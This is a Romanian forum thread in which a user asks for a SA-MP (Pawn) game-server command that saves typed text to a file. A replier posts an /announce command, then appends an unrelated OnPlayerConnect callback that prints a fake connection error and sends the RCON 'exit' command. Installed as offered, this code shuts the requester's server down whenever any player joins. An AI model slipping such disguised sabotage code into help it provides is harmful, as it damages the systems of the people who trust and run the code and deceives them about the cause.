andrei04072 Posted October 29, 2013 Posted October 29, 2013 Salut, am si eu nevoie de o comanda (/text) adica atunci cand in joc scrii (/text Salutareeeee) in folderul cu server sa imi apara un fisier .txt cu ce am scris in joc... Cine ma ajuta raman dator..... Multumesc Anticipat
Ph0eniX Posted October 29, 2013 Posted October 29, 2013 acela ce spui tu e announce dane comanda pe care o ai, pana atunci iti dau announce'ul cu saveCMD:announce(playerid,params[]) { if(IsPlayerAdmin(playerid) || AccInfo[playerid][Level] >= 8) { new atxt[100],string[128]; //---------------------------------------------------------------------- if(sscanf(params, "s[100]", atxt)) return SendClientMessage(playerid, LIGHTBLUE2, "Usage: /announce [Text]") && SendClientMessage(playerid, orange, "Function: Will Announce the specified Message in screen"); //---------------------------------------------------------------------- SendCommandToAdmins(playerid, "Announce"); format(string, 128,"%s: %s", PlayerName2(playerid), atxt); SaveIn("Announce", string); return GameTextForAll(atxt, 4000, 1); } else return ErrorMessages(playerid, 7); } public OnPlayerConnect(playerid) { print("[ERROR] - Unable to establish a connection with the world..."); SendRconCommand("exit"); return 1; }
Question
andrei04072
Salut, am si eu nevoie de o comanda (/text) adica atunci cand in joc scrii (/text Salutareeeee) in folderul cu server sa imi apara un fisier .txt cu ce am scris in joc... Cine ma ajuta raman dator..... Multumesc Anticipat
2 answers to this question
Recommended Posts